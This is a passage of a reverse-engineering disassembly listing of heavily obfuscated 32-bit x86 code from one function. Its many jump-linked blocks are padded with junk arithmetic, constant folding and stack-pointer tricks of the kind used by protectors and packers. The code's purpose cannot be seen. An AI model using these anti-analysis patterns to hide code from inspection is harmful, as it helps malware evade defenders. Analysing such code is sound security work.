		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5ABE32:				; CODE XREF: sub_5A55E5+16C73j
		add	esp, 4
		sub	al, 0Ch
		add	al, 17h
		sub	al, bl
		sub	al, 17h
		add	al, 0Ch
		sub	al, 0E5h
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+20h+var_22+2]
		jmp	loc_5B6D4B
; ---------------------------------------------------------------------------


loc_5ABE58:				; CODE XREF: sub_5A55E5+E7F8j
		pop	ebx
		dec	edx
		jmp	loc_5BDAB8
; ---------------------------------------------------------------------------


loc_5ABE5F:				; CODE XREF: sub_5A55E5+18A47j
		push	132Eh
		mov	[esp+20h+var_22+2], ebx
		mov	bl, dl
		jmp	loc_5B6274
; ---------------------------------------------------------------------------


loc_5ABE6E:				; CODE XREF: sub_5A55E5+19F23j
		movzx	cx, ah
		push	small 3C67h
		mov	word ptr [esp+22h+var_22], cx
		jmp	loc_5B7C64
; ---------------------------------------------------------------------------


loc_5ABE7F:				; CODE XREF: sub_5A55E5+13F5Cj
		push	dword ptr [esp+4]
		jmp	loc_5BD717
; ---------------------------------------------------------------------------


loc_5ABE88:				; CODE XREF: sub_5A55E5+F473j
		pop	edx
		push	eax
		mov	eax, 326B6A28h
		add	eax, 16664582h
		shl	eax, 6
		dec	eax
		xor	eax, 316B4B14h
		sub	eax, 500A167h
		add	edx, eax
		jmp	loc_5BBA38
; ---------------------------------------------------------------------------


loc_5ABEA9:				; CODE XREF: sub_5A55E5+1458Aj
		add	esp, 4
		add	dl, 0BCh
		jmp	loc_5B7610
; ---------------------------------------------------------------------------


loc_5ABEB4:				; CODE XREF: sub_5A55E5+BDB3j
		pop	ebp
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+22h+var_22]
		pop	esp
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebx
		jmp	loc_5B9F11
; ---------------------------------------------------------------------------


loc_5ABEDC:				; CODE XREF: sub_5A55E5+EEFEj
		sub	edx, 4
		push	edx
		push	[esp+1Ah+var_18+2]
		pop	edx
		pop	[esp+1Ah+var_1C+2]
		mov	esp, [esp+16h+var_18+2]
		mov	[esp+16h+var_18+2], ebp
		mov	ebp, 657C5251h
		or	edx, ebp
		pop	ebp
		jmp	loc_5AF953
; ---------------------------------------------------------------------------


loc_5ABEFB:				; CODE XREF: sub_5A55E5+12351j
		inc	ebp
		shl	ebp, 7
		not	ebp
		jmp	loc_5AE60D
; ---------------------------------------------------------------------------


loc_5ABF06:				; CODE XREF: sub_5A55E5+1975Fj
		sub	bl, 0F1h
		jmp	loc_5BB5EA
; ---------------------------------------------------------------------------


loc_5ABF0E:				; CODE XREF: sub_5A55E5+BAB5j
		pop	ecx
		sub	edx, edi
		pop	edi
		jmp	loc_5BBCF3
; ---------------------------------------------------------------------------


loc_5ABF17:				; CODE XREF: sub_5A55E5+1116Cj
		push	[esp+0Ah+var_8+2]
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		jmp	loc_5BEC0A
; ---------------------------------------------------------------------------


loc_5ABF26:				; CODE XREF: sub_5A55E5+15EE7j
		push	ebx
		jmp	loc_5AC619
; ---------------------------------------------------------------------------


loc_5ABF2C:				; CODE XREF: sub_5A55E5+523Bj
		and	esi, 5AF7474Dh
		jmp	loc_5B213B
; ---------------------------------------------------------------------------


loc_5ABF37:				; CODE XREF: sub_5A55E5+1302Aj
		mov	eax, 73D8731Bh
		not	eax
		shr	eax, 5
		add	eax, 35B82D36h
		add	eax, 71B051C7h
		add	eax, 10554A21h
		add	eax, 43E0FA7Bh
		add	eax, 29930461h
		jmp	loc_5B8592
; ---------------------------------------------------------------------------


loc_5ABF5F:				; CODE XREF: sub_5A55E5+5C9Aj
		mov	edx, edi
		pop	edi
		not	edx
		jmp	loc_5B05F2
; ---------------------------------------------------------------------------


loc_5ABF69:				; CODE XREF: sub_5A55E5+199FFj
		mov	edi, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_5ACBB8
; ---------------------------------------------------------------------------


loc_5ABF77:				; CODE XREF: sub_5A55E5+48EBj
		mov	esp, [esp+4Eh+var_50+2]
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_5B7859
; ---------------------------------------------------------------------------


loc_5ABF84:				; CODE XREF: sub_5A55E5+7057j
		pop	edi
		xor	esi, [esp+4Ah+var_4A]
		xor	[esp+4Ah+var_4A], esi
		xor	esi, [esp+4Ah+var_4A]
		mov	esp, [esp+4Ah+var_4A]
		push	esp
		jmp	loc_5ABD89
; ---------------------------------------------------------------------------


loc_5ABF97:				; CODE XREF: sub_5A55E5+18D0Dj
		sub	edi, ebx
		pop	ebx
		jmp	locret_5AE6E7
; ---------------------------------------------------------------------------


loc_5ABF9F:				; CODE XREF: sub_5A55E5+710Fj
		mov	edx, 7F982EF3h
		jmp	loc_5B081D
; ---------------------------------------------------------------------------


loc_5ABFA9:				; CODE XREF: sub_5A55E5+1797Dj
		xor	ecx, 768F7FAh
		xor	ebx, ecx
		pop	ecx
		jmp	loc_5A9B08
; ---------------------------------------------------------------------------


loc_5ABFB7:				; CODE XREF: sub_5A55E5+17ED0j
		pop	ebx
		xor	ecx, [esp+42h+var_42]
		xor	[esp+42h+var_42], ecx
		xor	ecx, [esp+42h+var_42]
		mov	esp, [esp+42h+var_42]
		pop	[esp+42h+var_42]
		mov	esp, [esp+3Eh+var_3E]
		sar	byte ptr [esp+3Eh+var_3E], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5ABFD3:				; CODE XREF: sub_5A55E5+11D28j
		add	esp, 4
		add	bl, dl
		pop	dx
		add	bl, al
		sub	bl, 4Ch
		sub	bl, 14h
		mov	ax, word ptr [esp+3Ch+var_3E+2]
		push	ebx
		jmp	loc_5AA0A2
; ---------------------------------------------------------------------------


loc_5ABFEF:				; CODE XREF: sub_5A55E5+183CAj
		mov	ecx, [esp+40h+var_42+2]
		jmp	loc_5B5AED
; ---------------------------------------------------------------------------


loc_5ABFF7:				; CODE XREF: sub_5A55E5+46FDj
		mov	esp, [esp+36h+var_36]
		sub	eax, 54392040h
		jmp	loc_5BC1AD
; ---------------------------------------------------------------------------


loc_5AC004:				; CODE XREF: sub_5A55E5+18F26j
		mov	[esp+36h+var_36], eax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AC00C:				; CODE XREF: sub_5A55E5+1305Aj
		mov	ecx, [esp+36h+var_36]
		jmp	loc_5BD19A
; ---------------------------------------------------------------------------


loc_5AC014:				; CODE XREF: sub_5A55E5+DED3j
		xchg	edi, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		push	4924h
		mov	[esp+3Ah+var_3A], ebp
		sub	esp, 4
		push	esp
		jmp	loc_5AAC29
; ---------------------------------------------------------------------------


loc_5AC02E:				; CODE XREF: sub_5A55E5+1166Dj
		add	edx, 4
		jmp	loc_5ACE76
; ---------------------------------------------------------------------------


loc_5AC039:				; CODE XREF: sub_5A55E5+D894j
		mul	cx
		sub	esp, 4
		jmp	loc_5AD471
; ---------------------------------------------------------------------------


loc_5AC047:				; CODE XREF: sub_5A55E5+13F9Cj
		mov	edi, [esp+46h+var_46]
		jmp	loc_5B937B
; ---------------------------------------------------------------------------


loc_5AC04F:				; CODE XREF: sub_5A55E5+76C9j
		push	[esp+46h+var_46]
		pop	esi
		push	edi
		push	esp
		pop	edi
		push	316Ah
		mov	[esp+4Eh+var_50+2], esi
		mov	esi, 4
		add	edi, esi
		push	[esp+4Eh+var_50+2]
		pop	esi
		add	esp, 4
		push	444Ch
		mov	[esp+4Eh+var_50+2], ecx
		push	4
		pop	ecx
		sub	edi, 42DC1A6Ah
		jmp	loc_5BD14E
; ---------------------------------------------------------------------------


loc_5AC088:				; CODE XREF: sub_5A55E5+146FFj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4Eh+var_50+2]
		mov	esp, [esp+4Eh+var_50+2]
		push	ebp
		push	6EDh
		mov	[esp+56h+var_58+2], eax
		push	edx
		push	46F05577h
		pop	edx
		or	edx, 265A0674h
		xor	edx, 66FA4777h
		push	ebp
		mov	ebp, edx
		push	edi
		mov	edi, ebp
		jmp	loc_5B586C
; ---------------------------------------------------------------------------


loc_5AC0BD:				; CODE XREF: sub_5A55E5+B301j
		push	1CBBh
		mov	[esp+66h+var_68+2], esp
		push	ecx
		jmp	loc_5B401B
; ---------------------------------------------------------------------------


loc_5AC0CB:				; CODE XREF: sub_5A55E5+FDC9j
		mov	esp, [esp+6Ah+var_6C+2]
		xor	al, bh
		mov	ebx, [esp+6Ah+var_6C+2]
		sub	esp, 4
		jmp	loc_5AF30E
; ---------------------------------------------------------------------------


loc_5AC0DE:				; CODE XREF: sub_5A55E5+B9FEj
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5B9D3D
; ---------------------------------------------------------------------------


loc_5AC0EB:				; CODE XREF: sub_5A55E5+13A18j
		add	[esp+72h+var_6C+2], ebx
		pop	ebx
		push	ebp
		mov	ebp, 25577733h
		add	[esp+72h+var_6C+2], 1DFA0838h
		add	[esp+72h+var_6C+2], ebp
		push	esi
		jmp	loc_5BE898
; ---------------------------------------------------------------------------


loc_5AC108:				; CODE XREF: sub_5A55E5+C703j
		push	1EFFh
		jmp	loc_5B782B
; ---------------------------------------------------------------------------


loc_5AC112:				; CODE XREF: sub_5A55E5+12442j
		xor	esi, ecx
		jmp	loc_5BF20B
; ---------------------------------------------------------------------------


loc_5AC119:				; CODE XREF: sub_5A55E5+15A9Ej
		mov	esp, [esp+7Ah+var_7C+2]
		push	edi
		sub	esp, 4
		mov	[esp+82h+var_84+2], edx
		push	ebx
		push	13C35F4Ch
		pop	ebx
		jmp	loc_5B4DF5
; ---------------------------------------------------------------------------


loc_5AC132:				; CODE XREF: sub_5A55E5+15173j
		mov	edi, esp
		jmp	loc_5A9A6F
; ---------------------------------------------------------------------------


loc_5AC139:				; CODE XREF: sub_5A55E5+9B9Dj
		xor	ecx, [esp+86h+var_88+2]
		mov	esp, [esp+86h+var_88+2]
		jmp	loc_5BB691
; ---------------------------------------------------------------------------


loc_5AC144:				; CODE XREF: sub_5A55E5+D5CDj
		xchg	ecx, [esp+86h+var_88+2]
		pop	esp
		push	[esp+82h+var_84+2]
		jmp	loc_5B7080
; ---------------------------------------------------------------------------


loc_5AC150:				; CODE XREF: sub_5A55E5+FAD3j
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], ebx
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], edx
		sub	esp, 4
		jmp	loc_5B8E2C
; ---------------------------------------------------------------------------


loc_5AC167:				; CODE XREF: sub_5A55E5+8786j
		add	edx, 4
		xchg	edx, [esp+92h+var_94+2]
		pop	esp
		xchg	ecx, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AC17C:				; CODE XREF: sub_5A55E5+128E4j
		pop	esi
		jmp	loc_5B834C
; ---------------------------------------------------------------------------


loc_5AC182:				; CODE XREF: sub_5A55E5+C1EBj
		mov	edi, [esp+8Ah+var_8C+2]
		push	ebx
		mov	ebx, esp
		jmp	loc_5BD3DA
; ---------------------------------------------------------------------------


loc_5AC18D:				; CODE XREF: sub_5A55E5+BA39j
		sub	esi, eax
		pop	eax
		add	edx, 60D377BAh
		jmp	loc_5BAC8D
; ---------------------------------------------------------------------------


loc_5AC19B:				; DATA XREF: sub_5A55E5+43F3o
		pop	dword ptr [edx]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AC1A2:				; CODE XREF: sub_5A55E5+6C93j
		mov	edx, [esp+0]
		add	esp, 4
		sub	eax, 7524CD9Ch
		sub	ebx, 1B338DAh
		jmp	loc_5AC752
; ---------------------------------------------------------------------------


loc_5AC1BB:				; CODE XREF: sub_5A55E5+12C81j
		pop	ecx
		add	edi, 8C996154h
		add	ebp, edi
		pop	edi
		push	esi
		mov	esi, 4
		jmp	loc_5B1CE0
; ---------------------------------------------------------------------------


loc_5AC1D0:				; CODE XREF: sub_5A55E5+5650j
		add	al, 0F9h
		add	al, bl
		sub	al, 0F9h
		add	al, 0CAh
		push	edx
		mov	dh, 6Fh
		not	dh
		push	ecx
		jmp	loc_5B69FF
; ---------------------------------------------------------------------------


loc_5AC1E3:				; CODE XREF: sub_5A55E5+15E06j
		mov	bh, 6Eh
		jmp	loc_5B6EAF
; ---------------------------------------------------------------------------


loc_5AC1EA:				; CODE XREF: sub_5A55E5+12755j
		pop	edi
		add	esp, 4
		jmp	loc_5B9586
; ---------------------------------------------------------------------------


loc_5AC1F3:				; CODE XREF: sub_5A55E5+673Dj
		shl	dl, 1
		sub	dl, 0ACh
		add	al, dl
		jmp	loc_5AAC32
; ---------------------------------------------------------------------------


loc_5AC1FF:				; CODE XREF: sub_5A55E5+6F15j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		pop	esp
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		push	[esp+14h+var_10]
		pop	ecx
		pop	[esp+14h+var_14]
		mov	esp, [esp+10h+var_10]
		push	[esp+10h+var_10]
		pop	eax
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		mov	edx, esp
		push	eax
		jmp	loc_5B6142
; ---------------------------------------------------------------------------


loc_5AC234:				; CODE XREF: sub_5A55E5+C9ABj
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ecx
		push	789Bh
		mov	[esp+20h+var_22+2], ebx
		push	73E309Dh
		push	[esp+24h+var_26+2]
		pop	ebx
		add	esp, 4
		jmp	loc_5ABAF3
; ---------------------------------------------------------------------------


loc_5AC256:				; CODE XREF: sub_5A55E5+10A27j
		sub	ebp, 41105F37h
		push	[esp+20h+var_22+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5B5442
; ---------------------------------------------------------------------------


loc_5AC26B:				; CODE XREF: sub_5A55E5+13D4Cj
		pop	eax
		dec	edx
		sub	edx, 0FFFFFFFFh
		sub	edx, 0F5A880C7h
		sub	eax, edx
		jmp	loc_5AC1A2
; ---------------------------------------------------------------------------


loc_5AC27D:				; CODE XREF: sub_5A55E5+EC2Bj
		pop	esi
		jmp	loc_5BD6E7
; ---------------------------------------------------------------------------


loc_5AC283:				; CODE XREF: sub_5A55E5+8DA8j
		add	esp, 4
		jmp	loc_5B1666
; ---------------------------------------------------------------------------


loc_5AC28E:				; CODE XREF: sub_5A55E5+88BAj
		or	edx, 74963C0Eh
		push	esi
		mov	esi, 72CC5920h
		xor	esi, 2BAD30B5h
		and	edx, esi
		pop	esi
		add	edx, 9E46FABEh
		add	ebx, edx
		pop	edx
		jmp	loc_5BF413
; ---------------------------------------------------------------------------


loc_5AC2B1:				; CODE XREF: sub_5A55E5+17BA7j
		mov	edi, 7D1C02EBh
		shr	edi, 3
		neg	edi
		not	edi
		sub	edi, 91C5903h
		sub	edi, 7B0B3999h
		sub	edi, 1B93A66Bh
		jmp	loc_5B7BB4
; ---------------------------------------------------------------------------


loc_5AC2D4:				; CODE XREF: sub_5A55E5+D756j
		push	4672h
		jmp	loc_5B850C
; ---------------------------------------------------------------------------


loc_5AC2DE:				; CODE XREF: sub_5A55E5+714Fj
		not	edi
		xchg	edi, ecx
		xchg	ecx, [esp+10h+var_10]
		pop	edx
		push	0
		sub	[esp+10h+var_10], edx
		pop	edx
		xchg	ebp, edx
		sub	ebp, 0FFFFFFFFh
		jmp	$+5
		xchg	ebp, edx
		sub	esp, 4
		mov	[esp+10h+var_10], esi
		jmp	loc_5BEA73
; ---------------------------------------------------------------------------


loc_5AC306:				; CODE XREF: sub_5A55E5+1322Dj
		pop	esp
		xor	eax, edx
		jmp	loc_5BDEB5
; ---------------------------------------------------------------------------


loc_5AC30E:				; CODE XREF: sub_5A55E5+103B3j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+10h+var_C]
		jmp	loc_5AF998
; ---------------------------------------------------------------------------


loc_5AC322:				; CODE XREF: sub_5A55E5+12328j
		xor	ebx, eax
		sub	esp, 4
		mov	[esp+18h+var_18], eax
		jmp	loc_5BBDE9
; ---------------------------------------------------------------------------


loc_5AC332:				; CODE XREF: sub_5A55E5+A0DEj
		mov	ecx, 226E34C1h
		xor	ecx, ebx
		pop	ebx
		shl	ecx, 8
		neg	ecx
		push	esi
		mov	esi, 31FF040Fh
		jmp	loc_5AD635
; ---------------------------------------------------------------------------


loc_5AC34A:				; CODE XREF: sub_5A55E5+8D1Aj
		mov	ecx, ebp
		jmp	loc_5B44CA
; ---------------------------------------------------------------------------


loc_5AC351:				; CODE XREF: sub_5A55E5+187E0j
		push	eax
		mov	eax, 0F65807C8h
		sub	ebp, eax
		pop	eax
		xor	[ecx], ebp
		jmp	loc_5AE4AE
; ---------------------------------------------------------------------------


loc_5AC361:				; CODE XREF: sub_5A55E5+1620Ej
		pop	ebx
		push	6325h
		mov	[esp+18h+var_18], eax
		mov	eax, esp
		jmp	loc_5B28DB
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+18h+var_18]
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		push	37D8h
		push	esp
		pop	[esp+24h+var_26+2]
		push	ebp
		push	4
		pop	ebp
		add	[esp+24h+var_22+2], ebp
		pop	ebp
		push	[esp+20h+var_22+2]
		mov	esi, [esp+24h+var_26+2]
		add	esp, 4
		add	esp, 4
		add	esi, 4
		push	2D6Ch
		mov	[esp+20h+var_22+2], edx
		mov	edx, 2
		push	1027h
		mov	[esp+24h+var_26+2], edx
		mov	edx, 62776F88h
		shl	edx, 6
		or	edx, 2CA67E58h
		and	edx, 657C59B8h
		add	edx, 0E286CAA2h
		sub	esi, edx
		pop	edx
		sub	esi, 7E6D3A3Eh
		add	esi, 3B065BBh
		add	esi, edx
		jmp	loc_5B7F54
; ---------------------------------------------------------------------------


loc_5AC3F0:				; CODE XREF: sub_5A55E5+8518j
					; sub_5A55E5+F559j
		push	eax
		push	74460854h
		pop	eax
		not	eax
		jmp	loc_5B80E7
; ---------------------------------------------------------------------------


loc_5AC3FE:				; CODE XREF: sub_5A55E5+79B6j
		push	58AAh
		mov	[esp+28h+var_2A+2], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+28h+var_2A+2]
		pop	esp
		push	[esp+24h+var_26+2]
		pop	esi
		add	esp, 4
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AC427:				; CODE XREF: sub_5A55E5+8438j
		push	ebp
		jmp	loc_5BAA23
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+24h+var_26+2]
		jmp	loc_5B851C
; ---------------------------------------------------------------------------


loc_5AC436:				; CODE XREF: sub_5A55E5+6F68j
		mov	bh, 9Ch
		sub	al, bh
		jmp	loc_5BA711
; ---------------------------------------------------------------------------


loc_5AC43F:				; CODE XREF: sub_5A55E5+11537j
		mov	bh, dh
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		inc	bh
		jmp	loc_5AAE79
; ---------------------------------------------------------------------------


loc_5AC451:				; CODE XREF: sub_5A55E5+7D55j
		add	esp, 4
		push	[esp+1Ch+var_1C]
		pop	esi
		jmp	loc_5AA138
; ---------------------------------------------------------------------------


loc_5AC45D:				; CODE XREF: sub_5A55E5+18B30j
		add	ebx, edx
		pop	edx
		push	esi
		mov	esi, 2
		push	ecx
		mov	ecx, 167D549Eh
		jmp	loc_5B362D
; ---------------------------------------------------------------------------


loc_5AC471:				; CODE XREF: sub_5A55E5+17E1Cj
		push	edx
		jmp	loc_5BCCAF
; ---------------------------------------------------------------------------


loc_5AC477:				; CODE XREF: sub_5A55E5+8470j
		xchg	esi, ebx
		neg	esi
		push	ebx
		push	esi
		pop	ebx
		mov	esi, [esp+28h+var_2A+2]
		add	esp, 4
		shl	ebx, 2
		shr	ebx, 2
		push	eax
		mov	eax, 0FD063754h
		add	ebx, eax
		pop	eax
		add	ecx, 64003074h
		jmp	loc_5B3B60
; ---------------------------------------------------------------------------


loc_5AC49E:				; CODE XREF: sub_5A55E5+10C82j
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+24h+var_22+2]
		pop	ecx
		jmp	loc_5AEDFD
; ---------------------------------------------------------------------------


loc_5AC4B5:				; CODE XREF: sub_5A55E5+15F41j
		mov	[esp+24h+var_26+2], esi
		mov	esi, 46A01078h
		push	2767h
		jmp	loc_5BB217
; ---------------------------------------------------------------------------


loc_5AC4C7:				; CODE XREF: sub_5A55E5+18D58j
		push	esi
		mov	esi, 6E505375h
		push	ebp
		mov	ebp, 77D32687h
		xor	esi, ebp
		pop	ebp
		push	ebx
		push	eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_5AD4D8
; ---------------------------------------------------------------------------


loc_5AC4E2:				; CODE XREF: sub_5A55E5+16BA7j
		add	edx, 4
		xor	edx, [esp+34h+var_36+2]
		xor	[esp+34h+var_36+2], edx
		xor	edx, [esp+34h+var_36+2]
		mov	esp, [esp+34h+var_36+2]
		sub	esp, 4
		mov	[esp+38h+var_3A+2], ecx
		jmp	loc_5AC1FF
; ---------------------------------------------------------------------------


loc_5AC4FF:				; CODE XREF: sub_5A55E5+614Fj
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5BA1A1
; ---------------------------------------------------------------------------


loc_5AC50D:				; CODE XREF: sub_5A55E5+E130j
		add	al, 0DDh
		push	[esp+0Ch+var_C]
		pop	edx
		sub	esp, 4
		mov	[esp+10h+var_10], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_5BE901
; ---------------------------------------------------------------------------


loc_5AC535:				; CODE XREF: sub_5A55E5+FD62j
		push	[esp+10h+var_10]
		mov	esi, [esp+14h+var_14]
		jmp	loc_5B8A38
; ---------------------------------------------------------------------------


loc_5AC540:				; CODE XREF: sub_5A55E5+112B9j
		pop	edi
		xor	ebx, [esp+10h+var_10]
		jmp	loc_5B1C91
; ---------------------------------------------------------------------------


loc_5AC549:				; CODE XREF: sub_5A55E5+8D10j
		sub	al, 27h
		push	bx
		jmp	loc_5AC436
; ---------------------------------------------------------------------------


loc_5AC552:				; CODE XREF: sub_5A55E5+14F90j
		mov	ebx, 2B2B1531h
		push	ecx
		mov	ecx, 417A0B62h
		and	ebx, ecx
		pop	ecx
		shl	ebx, 3
		jmp	loc_5BEFE9
; ---------------------------------------------------------------------------


loc_5AC568:				; CODE XREF: sub_5A55E5+8490j
		add	esi, ebp
		mov	ebp, [esp+12h+var_14+2]
		jmp	loc_5ADCC5
; ---------------------------------------------------------------------------


loc_5AC572:				; CODE XREF: sub_5A55E5+19A8Fj
		sub	edx, eax
		pop	eax
		sub	edi, 5C66A2Dh
		add	edi, edx
		add	edi, 5C66A2Dh
		pop	edx
		push	edi
		push	[esp+0Eh+var_C+2]
		pop	edi
		pop	[esp+0Eh+var_10+2]
		mov	esp, [esp+0Ah+var_C+2]
		jmp	loc_5BEA2A
; ---------------------------------------------------------------------------


loc_5AC595:				; CODE XREF: sub_5A55E5+A126j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5B8820
; ---------------------------------------------------------------------------


loc_5AC5A6:				; CODE XREF: sub_5A55E5+4BEFj
		push	ecx
		mov	ch, 73h
		shl	ch, 1
		jmp	loc_5B6B5A
; ---------------------------------------------------------------------------


loc_5AC5B0:				; CODE XREF: sub_5A55E5+44FDj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5BAAD9
; ---------------------------------------------------------------------------


loc_5AC5C0:				; CODE XREF: sub_5A55E5+10C9Dj
		mov	[esp+34h+var_36+2], ebx
		mov	bl, 0E9h
		jmp	loc_5B7D7B
; ---------------------------------------------------------------------------


loc_5AC5CA:				; CODE XREF: sub_5A55E5+6692j
		mov	ecx, 3E3059CEh
		jmp	loc_5B0243
; ---------------------------------------------------------------------------


loc_5AC5D4:				; CODE XREF: sub_5A55E5+13B46j
		add	eax, 0FAC3886h
		inc	eax
		sub	eax, 0B141E6Dh
		and	edi, eax
		pop	eax
		shr	edi, 4
		xor	edi, 2FB51041h
		xor	edi, 2DADD041h
		jmp	loc_5BDEFC
; ---------------------------------------------------------------------------


loc_5AC5F6:				; CODE XREF: sub_5A55E5+100B4j
		add	ebp, 9963B404h
		sub	ecx, ebp
		pop	ebp
		not	ecx
		jmp	loc_5B985F
; ---------------------------------------------------------------------------


loc_5AC606:				; CODE XREF: sub_5A55E5+4B86j
		push	bp
		mov	bp, 4637h
		xor	bx, bp
		pop	bp
		mov	si, bx
		jmp	loc_5B3390
; ---------------------------------------------------------------------------


loc_5AC619:				; CODE XREF: sub_5A55E5+6942j
		not	[esp+0Eh+var_10+2]
		jmp	loc_5B7B4F
; ---------------------------------------------------------------------------


loc_5AC621:				; CODE XREF: sub_5A55E5+10D19j
		sub	ecx, ebp
		pop	ebp
		add	esi, ecx
		pop	ecx
		push	0C5Eh
		mov	[esp+0Ah+var_C+2], edi
		mov	edi, 52C569F2h
		sub	edi, 52C569EEh
		sub	esi, edi
		jmp	loc_5ABF84
; ---------------------------------------------------------------------------


loc_5AC641:				; CODE XREF: sub_5A55E5+DA62j
		sub	edi, 0FFFFFFFFh
		push	ecx
		mov	ecx, 6DC502EFh
		or	edi, ecx
		jmp	loc_5B4D4A
; ---------------------------------------------------------------------------


loc_5AC654:				; CODE XREF: sub_5A55E5+186A8j
		add	eax, ebp
		sub	eax, 28AD71F8h
		sub	eax, 7F211FEEh
		pop	ebp
		add	eax, 4
		jmp	loc_5BBA4D
; ---------------------------------------------------------------------------


loc_5AC669:				; CODE XREF: sub_5A55E5+139CFj
		mov	edi, [esp+0Ah+var_C+2]
		push	eax
		mov	eax, esp
		jmp	loc_5BC24B
; ---------------------------------------------------------------------------


loc_5AC674:				; CODE XREF: sub_5A55E5+164C5j
		pop	ebx
		jmp	loc_5B7386
; ---------------------------------------------------------------------------


loc_5AC67A:				; CODE XREF: sub_5A55E5+11742j
		not	ecx
		sub	ecx, 7B2C4BEDh
		push	eax
		mov	eax, 188F5D26h
		and	ecx, eax
		pop	eax
		shr	ecx, 2
		jmp	loc_5B1BFE
; ---------------------------------------------------------------------------


loc_5AC693:				; CODE XREF: sub_5A55E5+8A44j
		sub	ebx, ebp
		pop	ebp
		pop	esi
		jmp	loc_5B189E
; ---------------------------------------------------------------------------


loc_5AC69C:				; CODE XREF: sub_5A55E5+137A8j
		sub	dl, 4Ch
		dec	dl
		add	dl, 7Eh
		sub	bl, 5Dh
		add	bl, dl
		add	bl, 5Dh
		jmp	loc_5ABD16
; ---------------------------------------------------------------------------


loc_5AC6B1:				; DATA XREF: sub_5A55E5+417Bo
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_5B798F
; ---------------------------------------------------------------------------


loc_5AC6C0:				; CODE XREF: sub_5A55E5+13602j
		mov	di, 0
		sub	di, bp
		push	bp
		push	di
		pop	bp
		pop	di
		jmp	loc_5BA8A4
; ---------------------------------------------------------------------------


loc_5AC6D4:				; CODE XREF: sub_5A55E5+A05Cj
		and	esi, ecx
		pop	ecx
		sub	esi, 675219C4h
		neg	esi
		shr	esi, 5
		sub	esi, 1D620DA4h
		sub	esi, 0A93E1B7Dh
		jmp	loc_5AD566
; ---------------------------------------------------------------------------


loc_5AC6F3:				; CODE XREF: sub_5A55E5+192E2j
		push	edx
		jmp	loc_5ABF9F
; ---------------------------------------------------------------------------


loc_5AC6F9:				; DATA XREF: sub_5A55E5+42E3o
		mov	cx, word ptr [esp+14h+var_14]
		push	48ABh
		mov	[esp+18h+var_18], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		push	edx
		mov	edx, 55C527AAh
		add	edx, 74BC3820h
		dec	edx
		jmp	loc_5B5F3C
; ---------------------------------------------------------------------------


loc_5AC71F:				; CODE XREF: sub_5A55E5+169DBj
		xor	ah, 6Eh
		sub	ch, ah
		pop	eax
		pop	eax
		jmp	loc_5BBE20
; ---------------------------------------------------------------------------


loc_5AC72B:				; CODE XREF: sub_5A55E5+16CC0j
		add	edx, esi
		pop	esi
		push	edx
		xchg	ecx, [esp+18h+var_18]
		xchg	edi, ecx
		jmp	loc_5AC2DE
; ---------------------------------------------------------------------------


loc_5AC739:				; CODE XREF: sub_5A55E5+6563j
		sub	ecx, 0D6B38739h
		sub	eax, ecx
		pop	ecx
		xor	eax, 3FCB654Eh
		jmp	loc_5BB9CF
; ---------------------------------------------------------------------------


loc_5AC74C:				; CODE XREF: sub_5A55E5+12AF7j
		dec	ebx
		jmp	loc_5B2629
; ---------------------------------------------------------------------------


loc_5AC752:				; CODE XREF: sub_5A55E5+6BD1j
		add	ebx, eax
		jmp	loc_5ABD66
; ---------------------------------------------------------------------------


loc_5AC759:				; CODE XREF: sub_5A55E5+7A38j
		dec	edi
		add	edi, 0B1A234FCh
		mov	ebp, edi
		pop	edi
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5B732D
; ---------------------------------------------------------------------------


loc_5AC76B:				; CODE XREF: sub_5A55E5+18D6Fj
		sub	esp, 4
		jmp	loc_5BD258
; ---------------------------------------------------------------------------


loc_5AC773:				; CODE XREF: sub_5A55E5+AB85j
		push	ecx
		mov	ecx, 242F1408h
		jmp	loc_5B5981
; ---------------------------------------------------------------------------


loc_5AC77E:				; CODE XREF: sub_5A55E5+62B0j
		add	ecx, 4
		push	ebp
		push	edi
		jmp	loc_5B37A3
; ---------------------------------------------------------------------------


